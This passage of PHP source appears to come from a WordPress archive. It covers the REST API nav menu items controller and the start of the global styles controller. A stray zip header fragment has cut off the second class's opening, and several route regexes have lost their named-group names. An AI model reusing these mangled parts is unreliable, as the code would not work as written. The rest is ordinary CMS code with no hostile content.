wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false ); if ( is_wp_error( $nav_menu_item_id ) ) { if ( 'db_insert_error' === $nav_menu_item_id->get_error_code() ) { $nav_menu_item_id->add_data( array( 'status' => 500 ) ); } else { $nav_menu_item_id->add_data( array( 'status' => 400 ) ); } return $nav_menu_item_id; } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); if ( is_wp_error( $nav_menu_item ) ) { $nav_menu_item->add_data( array( 'status' => 404 ) ); return $nav_menu_item; } /** * Fires after a single menu item is created or updated via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a menu item, false when updating. */ do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); $fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single menu item is completely created or updated via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a menu item, false when updating. */ do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, true ); $post = get_post( $nav_menu_item_id ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $nav_menu_item_id ) ) ); return $response; } /** * Updates a single nav menu item. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $valid_check = $this->get_nav_menu_item( $request['id'] ); if ( is_wp_error( $valid_check ) ) { return $valid_check; } $post_before = get_post( $request['id'] ); $prepared_nav_item = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_nav_item ) ) { return $prepared_nav_item; } $prepared_nav_item = (array) $prepared_nav_item; $nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false ); if ( is_wp_error( $nav_menu_item_id ) ) { if ( 'db_update_error' === $nav_menu_item_id->get_error_code() ) { $nav_menu_item_id->add_data( array( 'status' => 500 ) ); } else { $nav_menu_item_id->add_data( array( 'status' => 400 ) ); } return $nav_menu_item_id; } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); if ( is_wp_error( $nav_menu_item ) ) { $nav_menu_item->add_data( array( 'status' => 404 ) ); return $nav_menu_item; } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item->ID ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $nav_menu_item_id ); $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); $fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, false ); wp_after_insert_post( $post, true, $post_before ); $response = $this->prepare_item_for_response( get_post( $nav_menu_item_id ), $request ); return rest_ensure_response( $response ); } /** * Deletes a single nav menu item. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error True on success, or WP_Error object on failure. */ public function delete_item( $request ) { $menu_item = $this->get_nav_menu_item( $request['id'] ); if ( is_wp_error( $menu_item ) ) { return $menu_item; } // We don't support trashing for menu items. if ( ! $request['force'] ) { /* translators: %s: force=true */ return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menu items do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $previous = $this->prepare_item_for_response( get_post( $request['id'] ), $request ); $result = wp_delete_post( $request['id'], true ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires immediately after a single menu item is deleted via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request Request object. */ do_action( 'rest_delete_nav_menu_item', $menu_item, $response, $request ); return $response; } /** * Prepares a single nav menu item for create or update. * * @since 5.9.0 * * @param WP_REST_Request $request Request object. * * @return object|WP_Error */ protected function prepare_item_for_database( $request ) { $menu_item_db_id = $request['id']; $menu_item_obj = $this->get_nav_menu_item( $menu_item_db_id ); // Need to persist the menu item data. See https://core.trac.wordpress.org/ticket/28138 if ( ! is_wp_error( $menu_item_obj ) ) { // Correct the menu position if this was the first item. See https://core.trac.wordpress.org/ticket/28140 $position = ( 0 === $menu_item_obj->menu_order ) ? 1 : $menu_item_obj->menu_order; $prepared_nav_item = array( 'menu-item-db-id' => $menu_item_db_id, 'menu-item-object-id' => $menu_item_obj->object_id, 'menu-item-object' => $menu_item_obj->object, 'menu-item-parent-id' => $menu_item_obj->menu_item_parent, 'menu-item-position' => $position, 'menu-item-type' => $menu_item_obj->type, 'menu-item-title' => $menu_item_obj->title, 'menu-item-url' => $menu_item_obj->url, 'menu-item-description' => $menu_item_obj->description, 'menu-item-attr-title' => $menu_item_obj->attr_title, 'menu-item-target' => $menu_item_obj->target, 'menu-item-classes' => $menu_item_obj->classes, // Stored in the database as a string. 'menu-item-xfn' => explode( ' ', $menu_item_obj->xfn ), 'menu-item-status' => $menu_item_obj->post_status, 'menu-id' => $this->get_menu_id( $menu_item_db_id ), ); } else { $prepared_nav_item = array( 'menu-id' => 0, 'menu-item-db-id' => 0, 'menu-item-object-id' => 0, 'menu-item-object' => '', 'menu-item-parent-id' => 0, 'menu-item-position' => 1, 'menu-item-type' => 'custom', 'menu-item-title' => '', 'menu-item-url' => '', 'menu-item-description' => '', 'menu-item-attr-title' => '', 'menu-item-target' => '', 'menu-item-classes' => array(), 'menu-item-xfn' => array(), 'menu-item-status' => 'publish', ); } $mapping = array( 'menu-item-db-id' => 'id', 'menu-item-object-id' => 'object_id', 'menu-item-object' => 'object', 'menu-item-parent-id' => 'parent', 'menu-item-position' => 'menu_order', 'menu-item-type' => 'type', 'menu-item-url' => 'url', 'menu-item-description' => 'description', 'menu-item-attr-title' => 'attr_title', 'menu-item-target' => 'target', 'menu-item-classes' => 'classes', 'menu-item-xfn' => 'xfn', 'menu-item-status' => 'status', ); $schema = $this->get_item_schema(); foreach ( $mapping as $original => $api_request ) { if ( isset( $request[ $api_request ] ) ) { $prepared_nav_item[ $original ] = $request[ $api_request ]; } } $taxonomy = get_taxonomy( 'nav_menu' ); $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; // If menus submitted, cast to int. if ( ! empty( $request[ $base ] ) ) { $prepared_nav_item['menu-id'] = absint( $request[ $base ] ); } // Nav menu title. if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $prepared_nav_item['menu-item-title'] = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $prepared_nav_item['menu-item-title'] = $request['title']['raw']; } } $error = new WP_Error(); // Check if object id exists before saving. if ( ! $prepared_nav_item['menu-item-object'] ) { // If taxonomy, check if term exists. if ( 'taxonomy' === $prepared_nav_item['menu-item-type'] ) { $original = get_term( absint( $prepared_nav_item['menu-item-object-id'] ) ); if ( empty( $original ) || is_wp_error( $original ) ) { $error->add( 'rest_term_invalid_id', __( 'Invalid term ID.' ), array( 'status' => 400 ) ); } else { $prepared_nav_item['menu-item-object'] = get_term_field( 'taxonomy', $original ); } // If post, check if post object exists. } elseif ( 'post_type' === $prepared_nav_item['menu-item-type'] ) { $original = get_post( absint( $prepared_nav_item['menu-item-object-id'] ) ); if ( empty( $original ) ) { $error->add( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400 ) ); } else { $prepared_nav_item['menu-item-object'] = get_post_type( $original ); } } } // If post type archive, check if post type exists. if ( 'post_type_archive' === $prepared_nav_item['menu-item-type'] ) { $post_type = $prepared_nav_item['menu-item-object'] ? $prepared_nav_item['menu-item-object'] : false; $original = get_post_type_object( $post_type ); if ( ! $original ) { $error->add( 'rest_post_invalid_type', __( 'Invalid post type.' ), array( 'status' => 400 ) ); } } // Check if menu item is type custom, then title and url are required. if ( 'custom' === $prepared_nav_item['menu-item-type'] ) { if ( '' === $prepared_nav_item['menu-item-title'] ) { $error->add( 'rest_title_required', __( 'The title is required when using a custom menu item type.' ), array( 'status' => 400 ) ); } if ( empty( $prepared_nav_item['menu-item-url'] ) ) { $error->add( 'rest_url_required', __( 'The url is required when using a custom menu item type.' ), array( 'status' => 400 ) ); } } if ( $error->has_errors() ) { return $error; } // The xfn and classes properties are arrays, but passed to wp_update_nav_menu_item as a string. foreach ( array( 'menu-item-xfn', 'menu-item-classes' ) as $key ) { $prepared_nav_item[ $key ] = implode( ' ', $prepared_nav_item[ $key ] ); } // Only draft / publish are valid post status for menu items. if ( 'publish' !== $prepared_nav_item['menu-item-status'] ) { $prepared_nav_item['menu-item-status'] = 'draft'; } $prepared_nav_item = (object) $prepared_nav_item; /** * Filters a menu item before it is inserted via the REST API. * * @since 5.9.0 * * @param object $prepared_nav_item An object representing a single menu item prepared * for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_nav_menu_item', $prepared_nav_item, $request ); } /** * Prepares a single nav menu item output for response. * * @since 5.9.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Base fields for every post. $fields = $this->get_fields_for_response( $request ); $menu_item = $this->get_nav_menu_item( $item->ID ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $menu_item->ID; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $menu_item->title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); add_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID ); $data['title']['rendered'] = $title; remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $menu_item->post_status; } if ( rest_is_field_included( 'url', $fields ) ) { $data['url'] = $menu_item->url; } if ( rest_is_field_included( 'attr_title', $fields ) ) { // Same as post_excerpt. $data['attr_title'] = $menu_item->attr_title; } if ( rest_is_field_included( 'description', $fields ) ) { // Same as post_content. $data['description'] = $menu_item->description; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $menu_item->type; } if ( rest_is_field_included( 'type_label', $fields ) ) { $data['type_label'] = $menu_item->type_label; } if ( rest_is_field_included( 'object', $fields ) ) { $data['object'] = $menu_item->object; } if ( rest_is_field_included( 'object_id', $fields ) ) { // It is stored as a string, but should be exposed as an integer. $data['object_id'] = absint( $menu_item->object_id ); } if ( rest_is_field_included( 'parent', $fields ) ) { // Same as post_parent, exposed as an integer. $data['parent'] = (int) $menu_item->menu_item_parent; } if ( rest_is_field_included( 'menu_order', $fields ) ) { // Same as post_parent, exposed as an integer. $data['menu_order'] = (int) $menu_item->menu_order; } if ( rest_is_field_included( 'target', $fields ) ) { $data['target'] = $menu_item->target; } if ( rest_is_field_included( 'classes', $fields ) ) { $data['classes'] = (array) $menu_item->classes; } if ( rest_is_field_included( 'xfn', $fields ) ) { $data['xfn'] = array_map( 'sanitize_html_class', explode( ' ', $menu_item->xfn ) ); } if ( rest_is_field_included( 'invalid', $fields ) ) { $data['invalid'] = (bool) $menu_item->_invalid; } if ( rest_is_field_included( 'meta', $fields ) ) { $data['meta'] = $this->meta->get_value( $menu_item->ID, $request ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( rest_is_field_included( $base, $fields ) ) { $terms = get_the_terms( $item, $taxonomy->name ); if ( ! is_array( $terms ) ) { continue; } $term_ids = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array(); if ( 'nav_menu' === $taxonomy->name ) { $data[ $base ] = $term_ids ? array_shift( $term_ids ) : 0; } else { $data[ $base ] = $term_ids; } } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions( $item, $request ); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } } /** * Filters the menu item data for a REST API response. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param object $menu_item Menu item setup by {@see wp_setup_nav_menu_item()}. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_nav_menu_item', $response, $menu_item, $request ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { $links = parent::prepare_links( $post ); $menu_item = $this->get_nav_menu_item( $post->ID ); if ( empty( $menu_item->object_id ) ) { return $links; } $path = ''; $type = ''; $key = $menu_item->type; if ( 'post_type' === $menu_item->type ) { $path = rest_get_route_for_post( $menu_item->object_id ); $type = get_post_type( $menu_item->object_id ); } elseif ( 'taxonomy' === $menu_item->type ) { $path = rest_get_route_for_term( $menu_item->object_id ); $type = get_term_field( 'taxonomy', $menu_item->object_id ); } if ( $path && $type ) { $links['https://api.w.org/menu-item-object'][] = array( 'href' => rest_url( $path ), $key => $type, 'embeddable' => true, ); } return $links; } /** * Retrieves Link Description Objects that should be added to the Schema for the nav menu items collection. * * @since 5.9.0 * * @return array */ protected function get_schema_links() { $links = parent::get_schema_links(); $href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" ); $links[] = array( 'rel' => 'https://api.w.org/menu-item-object', 'title' => __( 'Get linked object.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'object' => array( 'type' => 'integer', ), ), ), ); return $links; } /** * Retrieves the nav menu item's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', ); $schema['properties']['title'] = array( 'description' => __( 'The title for the object.' ), 'type' => array( 'string', 'object' ), 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the object, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML title for the object, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); $schema['properties']['id'] = array( 'description' => __( 'Unique identifier for the object.' ), 'type' => 'integer', 'default' => 0, 'minimum' => 0, 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['type_label'] = array( 'description' => __( 'The singular label used to describe this type of menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['type'] = array( 'description' => __( 'The family of objects originally represented, such as "post_type" or "taxonomy".' ), 'type' => 'string', 'enum' => array( 'taxonomy', 'post_type', 'post_type_archive', 'custom' ), 'context' => array( 'view', 'edit', 'embed' ), 'default' => 'custom', ); $schema['properties']['status'] = array( 'description' => __( 'A named status for the object.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'default' => 'publish', 'context' => array( 'view', 'edit', 'embed' ), ); $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the object.' ), 'type' => 'integer', 'minimum' => 0, 'default' => 0, 'context' => array( 'view', 'edit', 'embed' ), ); $schema['properties']['attr_title'] = array( 'description' => __( 'Text for the title attribute of the link element for this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['classes'] = array( 'description' => __( 'Class names for the link element of this menu item.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => static function ( $value ) { return array_map( 'sanitize_html_class', wp_parse_list( $value ) ); }, ), ); $schema['properties']['description'] = array( 'description' => __( 'The description of this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['menu_order'] = array( 'description' => __( 'The DB ID of the nav_menu_item that is this item\'s menu parent, if any, otherwise 0.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'integer', 'minimum' => 1, 'default' => 1, ); $schema['properties']['object'] = array( 'description' => __( 'The type of object originally represented, such as "category", "post", or "attachment".' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_key', ), ); $schema['properties']['object_id'] = array( 'description' => __( 'The database ID of the original object this menu item represents, for example the ID for posts or the term_id for categories.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'integer', 'minimum' => 0, 'default' => 0, ); $schema['properties']['target'] = array( 'description' => __( 'The target attribute of the link element for this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'enum' => array( '_blank', '', ), ); $schema['properties']['url'] = array( 'description' => __( 'The URL to which this menu item points.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'validate_callback' => static function ( $url ) { if ( '' === $url ) { return true; } if ( sanitize_url( $url ) ) { return true; } return new WP_Error( 'rest_invalid_url', __( 'Invalid URL.' ) ); }, ), ); $schema['properties']['xfn'] = array( 'description' => __( 'The XFN relationship expressed in the link of this menu item.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => static function ( $value ) { return array_map( 'sanitize_html_class', wp_parse_list( $value ) ); }, ), ); $schema['properties']['invalid'] = array( 'description' => __( 'Whether the menu item represents an object that no longer exists.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'boolean', 'readonly' => true, ); $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $schema['properties'][ $base ] = array( /* translators: %s: taxonomy name */ 'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'context' => array( 'view', 'edit' ), ); if ( 'nav_menu' === $taxonomy->name ) { $schema['properties'][ $base ]['type'] = 'integer'; unset( $schema['properties'][ $base ]['items'] ); } } $schema['properties']['meta'] = $this->meta->get_field_schema(); $schema_links = $this->get_schema_links(); if ( $schema_links ) { $schema['links'] = $schema_links; } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the nav menu items collection. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['menu_order'] = array( 'description' => __( 'Limit result set to posts with a specific menu_order value.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'asc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by object attribute.' ), 'type' => 'string', 'default' => 'menu_order', 'enum' => array( 'author', 'date', 'id', 'include', 'modified', 'parent', 'relevance', 'slug', 'include_slugs', 'title', 'menu_order', ), ); // Change default to 100 items. $query_params['per_page']['default'] = 100; return $query_params; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 5.9.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = parent::prepare_items_query( $prepared_args, $request ); // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'], $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', 'menu_order' => 'menu_order', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } $query_args['update_menu_item_cache'] = true; return $query_args; } /** * Gets the id of the menu that the given menu item belongs to. * * @since 5.9.0 * * @param int $menu_item_id Menu item id. * @return int */ protected function get_menu_id( $menu_item_id ) { $menu_ids = wp_get_post_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); $menu_id = 0; if ( $menu_ids && ! is_wp_error( $menu_ids ) ) { $menu_id = array_shift( $menu_ids ); } return $menu_id; } } PK!t67]]*class-wp-rest-global-styles-controller.phpnu[ false ); /** * Constructor. * * @since 6.6.0 * * @param string $post_type Post type. */ public function __construct( $post_type = 'wp_global_styles' ) { parent::__construct( $post_type ); } /** * Registers the controllers routes. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/themes/(?P[\/\s%\w\.\(\)\[\]\@_\-]+)/variations', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_theme_items' ), 'permission_callback' => array( $this, 'get_theme_items_permissions_check' ), 'args' => array( 'stylesheet' => array( 'description' => __( 'The theme identifier' ), 'type' => 'string', ), ), 'allow_batch' => $this->allow_batch, ), ) ); // List themes global styles. register_rest_route( $this->namespace, // The route. sprintf( '/%s/themes/(?P%s)', $this->rest_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?' ), array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_theme_item' ), 'permission_callback' => array( $this, 'get_theme_item_permissions_check' ), 'args' => array( 'stylesheet' => array( 'description' => __( 'The theme identifier' ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ), ), ), 'allow_batch' => $this->allow_batch, ), ) ); // Lists/updates a single global style variation based on the given id. register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\/\d+]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'ID of global styles config.' ), 'type' => 'integer', ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), 'allow_batch' => $this->allow_batch, ) ); } /** * Sanitize the global styles stylesheet to decode endpoint. * For example, `wp/v2/global-styles/twentytwentytwo%200.4.0` * would be decoded to `twentytwentytwo 0.4.0`. * * @since 5.9.0 * * @param string $stylesheet Global styles stylesheet. * @return string Sanitized global styles stylesheet. */ public function _sanitize_global_styles_callback( $stylesheet ) { return urldecode( $stylesheet ); } /** * Get the post, if the ID is valid. * * @since 5.9.0 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_post( $id ) { $error = new WP_Error( 'rest_global_styles_not_found', __( 'No global styles config exists with that ID.' ), array( 'status' => 404 ) ); $id = (int) $id; if ( $id <= 0 ) { return $error; } $post = get_post( $id ); if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) { return $error; } return $post; } /** * Checks if a given request has access to read a single global style. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_read_permission( $post ) ) { return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a global style can be read. * * @since 5.9.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be read. */ public function check_read_permission( $post ) { return current_user_can( 'read_post', $post->ID ); } /** * Checks if a given request has access to write a single global styles config. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares a single global styles config for update. * * @since 5.9.0 * @since 6.2.0 Added validation of styles.css property. * @since 6.6.0 Added registration of block style variations from theme.json sources (theme.json, user theme.json, partials). * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Prepared item on success. WP_Error on when the custom CSS is not valid. */ protected function prepare_item_for_database( $request ) { $changes = new stdClass(); $changes->ID = $request['id']; $post = get_post( $request['id'] ); $existing_config = array(); if ( $post ) { $existing_config = json_decode( $post->post_content, true ); $json_decoding_error = json_last_error(); if ( JSON_ERROR_NONE !== $json_decoding_error || ! isset( $existing_config['isGlobalStylesUserThemeJSON'] ) || ! $existing_config['isGlobalStylesUserThemeJSON'] ) { $existing_config = array(); } } if ( isset( $request['styles'] ) || isset( $request['settings'] ) ) { $config = array(); if ( isset( $request['styles'] ) ) { if ( isset( $request['styles']['css'] ) ) { $css_validation_result = $this->validate_custom_css( $request['styles']['css'] ); if ( is_wp_error( $css_validation_result ) ) { return $css_validation_result; } } $config['styles'] = $request['styles']; } elseif ( isset( $existing_config['styles'] ) ) { $config['styles'] = $existing_config['styles']; } // Register theme-defined variations e.g. from block style variation partials under `/styles`. $variations = WP_Theme_JSON_Resolver::get_style_variations( 'block' ); wp_register_block_style_variations_from_theme_json_partials( $variations ); if ( isset( $request['settings'] ) ) { $config['settings'] = $request['settings']; } elseif ( isset( $existing_config['settings'] ) ) { $config['settings'] = $existing_config['settings']; } $config['isGlobalStylesUserThemeJSON'] = true; $config['version'] = WP_Theme_JSON::LATEST_SCHEMA; /** * JSON encode the data stored in post content. * Escape characters that are likely to be mangled by HTML filters: "<>&". * * This data is later re-encoded by {@see wp_filter_global_styles_post()}. * The escaping is also applied here as a precaution. */ $changes->post_content = wp_json_encode( $config, JSON_UNESCAPED_SLASHES | JSON_HEX_TAG | JSON_HEX_AMP ); } // Post title. if ( isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $changes->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $changes->post_title = $request['title']['raw']; } } return $changes; } /** * Prepare a global styles config output for response. * * @since 5.9.0 * @since 6.6.0 Added custom relative theme file URIs to `_links`. * * @param WP_Post $post Global Styles post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $post, $request ) { $raw_config = json_decode( $post->post_content, true ); $is_global_styles_user_theme_json = isset( $raw_config['isGlobalStylesUserThemeJSON'] ) && true === $raw_config['isGlobalStylesUserThemeJSON']; $config = array(); $theme_json = null; if ( $is_global_styles_user_theme_json ) { $theme_json = new WP_Theme_JSON( $raw_config, 'custom' ); $config = $theme_json->get_raw_data(); } // Base fields for every post. $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $post->ID; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $post->post_title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); add_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); $data['title']['rendered'] = get_the_title( $post->ID ); remove_filter( 'protected_title_format', array( $this, 